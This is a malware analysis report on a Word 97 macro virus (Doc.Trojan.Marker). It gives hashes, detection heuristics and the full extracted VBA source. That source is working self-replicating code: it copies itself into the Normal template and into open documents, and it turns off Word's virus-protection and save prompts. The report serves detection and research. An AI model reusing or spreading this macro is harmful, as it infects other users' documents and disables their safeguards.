Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 5f363dbcaa5c9523…

MALICIOUS

Office (OLE)

38.0 KB Created: 1997-09-17 11:18:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: 36be8c54731cd0bc9e6378cd63640fe8 SHA-1: 83695fb7bb551448e52e0a0ff555af5b7b04b8a2 SHA-256: 5f363dbcaa5c9523c65d4002b6a77e45e7b2a80e65e248f696323b0e882a2138
120 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic

The sample is a Word document containing VBA macros. The Document_Open macro is present and appears to copy its code to both the current document and the Normal template, indicating a persistence or spreading mechanism. The script is truncated, preventing a full analysis of its ultimate payload, which lowers confidence.

Heuristics 3

  • ClamAV: Doc.Trojan.Marker-40 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Marker-40
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 2844 bytes
SHA-256: 57abe83dbe03fbc5c7fc912995a8eda3a089804c9da093f89c480bcd4965951f
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Dim x1, x2, x3, x4 As Boolean
Dim x5, x6 As Object
Dim x7, x8, x16 As Integer
Dim x9 As Date
Dim x10, x11, x12, x13, x14 As String
Const x15 = ":-D you are marked!"
Private Sub Document_Close()
On Error Resume Next
Set x5 = ActiveDocument.VBProject.VBComponents.Item(1)
Set x6 = NormalTemplate.VBProject.VBComponents.Item(1)
x3 = x5.CodeModule.Find(x15, 1, 1, 10000, 10000)
x4 = x6.CodeModule.Find(x15, 1, 1, 10000, 10000)
With Options: .ConfirmConversions = 0: .VirusProtection = 0: .SaveNormalPrompt = 0: End With

If x3 = True Then
    x13 = x5.CodeModule.Lines(1, x5.CodeModule.CountOfLines)
 ElseIf x4 = True Then
    x13 = x6.CodeModule.Lines(1, x6.CodeModule.CountOfLines)
 End If

 If (x3 = True Xor x4 = True) And _
 (ActiveDocument.SaveFormat = wdFormatDocument Or _
    ActiveDocument.SaveFormat = wdFormatTemplate) Then

      If x3 = True Then
        x2 = NormalTemplate.Saved
        x11 = x5.CodeModule.Lines(1, x5.CodeModule.CountOfLines)
         x6.CodeModule.DeleteLines 1, x6.CodeModule.CountOfLines
         x6.CodeModule.AddFromString x11

         If x2 = True Then NormalTemplate.Save
      End If
    If x4 = True Or ActiveDocument.Saved = False Then
    x1 = ActiveDocument.Saved
    x11 = x6.CodeModule.Lines(1, x6.CodeModule.CountOfLines)
     x5.CodeModule.DeleteLines 1, x5.CodeModule.CountOfLines
     x5.CodeModule.AddFromString x11

     If x1 = True Then ActiveDocument.Save
   End If
  
    
 End If

 End Sub

Private Sub Document_New()
Set x5 = ActiveDocument.VBProject.VBComponents.Item(1)
Set x6 = NormalTemplate.VBProject.VBComponents.Item(1)
x3 = x5.CodeModule.Find(x15, 1, 1, 10000, 10000)
x4 = x6.CodeModule.Find(x15, 1, 1, 10000, 10000)
With Options: .ConfirmConversions = 0: .VirusProtection = 0: .SaveNormalPrompt = 0: End With
If x4 = False Then
    x6.CodeModule.DeleteLines 1, x6.CodeModule.CountOfLines
End If
If x3 = False Then
        x5.CodeModule.DeleteLines 1, x5.CodeModule.CountOfLines
End If

End Sub

Private Sub Document_Open()
Set x5 = ActiveDocument.VBProject.VBComponents.Item(1)
Set x6 = NormalTemplate.VBProject.VBComponents.Item(1)
x3 = x5.CodeModule.Find(x15, 1, 1, 10000, 10000)
x4 = x6.CodeModule.Find(x15, 1, 1, 10000, 10000)
With Options: .ConfirmConversions = 0: .VirusProtection = 0: .SaveNormalPrompt = 0: End With
If x4 = False Then
    x6.CodeModule.DeleteLines 1, x6.CodeModule.CountOfLines
End If
If x3 = False Then
        x5.CodeModule.DeleteLines 1, x5.CodeModule.CountOfLines
End If
End Sub

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